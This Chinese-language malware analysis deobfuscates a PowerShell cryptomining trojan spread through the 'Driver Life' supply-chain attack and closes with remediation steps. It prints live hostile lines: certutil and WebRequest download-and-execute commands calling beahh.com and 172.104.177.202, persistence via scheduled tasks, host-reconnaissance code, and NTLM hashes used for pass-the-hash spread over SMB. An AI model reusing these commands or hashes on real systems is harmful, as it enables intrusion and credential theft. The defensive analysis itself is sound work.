作者:傾旋
作者博客:https://payloads.online/archivers/2019-02-23/1
360安全大腦監測到通過”驅動人生”供應鏈攻擊傳播的挖礦木馬在1月30日下午4時左右再次更新……
0x00 事件背景
360安全大腦監測到通過”驅動人生”供應鏈攻擊傳播的挖礦木馬在1月30日下午4時左右再次更新。此次更新中,木馬在此前抓取系統帳戶密碼的基礎上增加了抓取密碼hash值的功能,并試圖通過pass the hash攻擊進行橫向滲透,使得該木馬的傳播能力進一步加強,即使是有高強度口令的機器也有可能被攻陷。
pass the hash也稱作哈希傳遞攻擊,攻擊者可以直接通過密碼的哈希值訪問遠程主機或服務,而不用提供明文密碼。攻擊者使用pass the hash技術嘗試在系統登錄密碼非弱口令并且無法抓取登錄密碼的情況下進行橫向攻擊,增加攻擊成功率。
0x01 分析研討
由于木馬是樣本都是不落地的方式,核心技術是通過定時計劃任務執行powershell代碼達到持續控制的目的,因此最先分析powershell代碼,了解它做了哪些動作,指定查殺手段。
PS:樣本代碼過長,遂使用圖片截圖
0x02 分析過程
解密第一層
病毒樣本:

第一個動作,創建一個名為Certificate的任務計劃,在七點開始,每隔一小時執行一次以下命令:
cmd.exe /c (cd %temp%&certutil -urlcache -split -f http://cert.beahh.com/cert.php?ver1=%COMPUTERNAME% v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)
由于目前cert.beahh.com已經無法訪問,所以進行下一個powershell分析環節。
首先,powershell -nop -w hidden -ep bypass -e后接著就是base64編碼的powershell代碼,并且以Bypass作為當前執行策略。
Windows中的powershell執行策略:
PS C:\Users\Rvn0xsy> Get-ExecutionPolicy -List
Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser Undefined
LocalMachine Bypass
將后面的base64解密后:

得到如下代碼:
while($true)
{
[System.Threading.Thread]::Sleep(200000);
[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
iex $c;
[System.Threading.Thread]::Sleep(1000000);
}
外部是一個循環,將Sleep去除后,可以看到調用了Invoke-Expression,Invoke-Expression是一個能將變量的內容當作powershell表達式執行的函數。
而iex只是Invoke-Expression的別名。
下面簡單演示幾個例子:
PS C:\Users\Rvn0xsy> iex "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy> Write-Host Rvn0xsy
Rvn0xsy
PS C:\Users\Rvn0xsy> Invoke-Expression "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy>
將上述的木馬腳本中iex替換成Write-Host即可:
while($true)
{
[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
Write-Host $c;
}
在這里我們使用Windows 10自帶的Windows Powershell ISE腳本調試器來進行后續的分析。

解密第二層
很明顯,我們看到有Invoke-Expression,直接將Invoke-Expression改為Write-Host進行調試。

解密第三層
現在獲得的代碼可讀性變得非常低了,但是還是有一定規律可循。
在第83行,有一個大小寫混合的Invoke-Expression:

并且Invoke-Expression做左邊還有一個管道符,直接將代碼改為| Out-File .\tmp.log ,把結果輸出到tmp.log文件中。
解密第四層

第四次好像混淆的更加厲害來,但是不影響我們的分析,先看首行:
. ( $EnV:CoMsPec[4,26,25]-JoIN'')((('[string]3CHav = U'+'ABUAB[string]....
其中它是以. (表達式)(表達式)來執行的,于是我想到了另外一種函數調用的可能:
PS C:\Users\Rvn0xsy> . Write-Host "Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy>
這樣也能執行,所以我判斷. ( $EnV:CoMsPec[4,26,25]-JoIN'')就是iex或者Invoke-Expression,我將. ( $EnV:CoMsPec[4,26,25]-JoIN'')改為Write-Host直接執行:

最終獲得了未混淆的代碼。
然后,為了驗證我的猜想,我把代碼進行更改,獲得了Iex:

. ( $EnV:CoMsPec[4,26,25]-JoIN'')` = `Iex
0x03 行為分析
[string]$av = ""[string]$avs = ""[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)$avs = (Get-WmiObject -Namesp
ace root\SecurityCenter2 -Class AntiVirusProduct).displayNameif($avs.GetType().name.IndexOf('Object') -gt -1){for($v = 0; $v -lt $avs.Count; $v++){$av += $avs[$v] + "|"}}else{$av
= $avs}try{if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){$av += 'ZDFY'}}catch{}#[System.Threading.Thread]::Sleep((Get-Random -Minimum 10000 -Maximum
100000))$path = "$env:temp\\ppp.log"[string]$flag = test-path $path$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObj
ect Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAMEtry{$file = "$env:appdata\\Micro
soft\\cred.ps1"$size = (Get-ChildItem $file -recurse | Measure-Object -property length -sum).sum$file2 = "$env:ALLUSERSPROFILE\\Microsoft\\cred.ps1"$size2 = (Get-ChildItem $file2
-recurse | Measure-Object -property length -sum).sum if(($size -ne 50731) -and ($size2 -ne 50731)){try{$url = 'http://172.104.177.202/new.dat?xl' + $key(New-Object System.N
et.WebClient).DownloadFile($url,"$file")}catch{}&cmd.exe /c schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\
Microsoft\cred.ps1" /F}}catch{}[System.Threading.Thread]::Sleep(3000)Stop-Process -Force -processname powershell
大致意思就是收集本機的操作系統版本、用戶名、MAC地址、殺毒軟件寫入當前環境變量的temp\ppp.log中。
一般是C:\Users\<USERNAME>\AppData\Local\Temp\ppp.log
然后下載新的powershell文件,到C:\Users\<USERNAME>\AppData\Roaming\Microsoft\cred.ps1中。
下載的URL是:http://172.104.177.202/new.dat?xl

目前ti上未打標簽。
再次經過N層解密后,得到如下代碼:

大約6000多行

腳本的功能:
- 獲得當前用戶Hash,讀取注冊表
- 獲得當前系統版本、MAC地址、當前系統所有用戶、反病毒軟件,尤其是360 Zhudongfangyu服務
- 端口掃描,全量1-65535、445、139都會掃描
- 依賴于445 SMB服務進行傳播
其中,常用的Hash和用戶名:
[string[]]$global:alluser = @("administrator","admin")[string[]]$global:allpass = @("32ed87bdb5fdc5e9cba88547376818d4","8846f7eaee8fb117ad06bdd830b7586c","7b592e4f8178b4c75788531b2e747687","3fa45a060bd2693ae4c05b601d05ca0c","69943c5e63b4d2c104dbbcc15138b72b","588feb889288fb953b5f094d47d1565c","3dbde697d71690a769204beb12283678","df54de3f3438343202c1dd523d0265be","7ce21f17c0aee7fb9ceba532d0546ad6","2d7f1a5a61d3a96fb5159b5eef17adc6","6103d9d963c57275dd3533674708e7be","579110c49145015c47ecd267657d3174","af27efb60c7b238910efe2a7e0676a39","259745cb123a52aa2e693aaacca2db52","4057b60b514c5402dde3d29a1845c366","e8cd0e4a9e89eab931dc5338fcbec54a","f1351ac828428d74f6da2968089fc91f","b5fe2db507cc5ac540493d48fbd5fe33","12bdea0a1cb9486c067deaa851ac1609","f9e37e83b83c47a93c2f09f66408631b","b23a90d0aad9da3615fafc27a1b8baeb","a333f09e72c683f0205049d0db8b81fb","ad70819c5bc807280974d80f45982011","2d20d252a479f485cdf5e171d93985bf","0b6549421b2e7333e0e281f3ba5eea94","209c6174da490caeb422f3fa5a7ae634","a80c9cc3f8439ada25af064a874efe2d","22315d6ed1a7d5f8a7c98c40e9fa2dec","b963c57010f218edc2cc3c229b5e4d0f","96880159e785de5314803b1169768900","8ec60adea316d957d1cf532c5841758d","c22b315c040ae6e0efee3518d830362b","7a21990fcd3d759941e45c490f143d5f","328727b81ca05805a68ef26acb252039","31c72c210ecc03d1eae94fa496069448","209c6174da490caeb422f3fa5a7ae634","674e48b68c5cd0efd8f7e5faa87b3d1e","31fc0dc8f7dfad0e8bd7ccc3842f2ce9","579110c49145015c47ecd267657d3174","f2477a144dff4f216ab81f2ac3e3207d","62b26c13b70e7d5a9724710a41e63688","5835048ce94ad0564e29a924a03510ef","7773c08920232397cae081704964b786","a4141712f19e9dd5adf16919bb38a95c","b3ec3e03e2a202cbd54fd104b8504fef","f9e37e83b83c47a93c2f09f66408631b","162e829be112225fedf856e38e1c65fe","f67f5e3f66efd7298be6acd32eeeb27c")
SMB服務傳播代碼:

會上傳啟動項:\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat
這個run.bat就是我拿到的種子了。
該木馬涵蓋了Windows SMB客戶端的所有代碼,以及哈希傳遞技術的所有功能。
代碼有很多都是采用了Invoke-SMBClient。
優先感染子網:
10.
172.
192.168.

其中在開始橫向傳播之前,它還會下載一個powershell代碼:

但是目前這個域名已經無法訪問,無法繼續進行跟進。
http://p.beahh.com/upgrade.php?ver=1&mac=
其中在$bytebase64中發現了run.bat的代碼:

0x04 預警與排查方案
- 1.開啟Windows防火墻、關閉445端口。
- 2.防火墻禁止向
172.104.177.202建立連接。 - 3.防火墻禁止與
*.beahh.com域名的解析。 - 4.更改操作系統賬號密碼。
- 5.刪除
Certificate任務計劃。 - 6.刪除
Credentials任務計劃。 - 7.刪除啟動項
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat。 - 8.刪除
%appdata%\Microsoft\cred.ps1。
最主要就是禁止與172.104.177.202進行通信。
下載器樣本:https://payloads.online/scripts/2019-02-23-downloader.txt
木馬本體(解密后):https://payloads.online/scripts/2019-02-23-res.txt
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/826/
暫無評論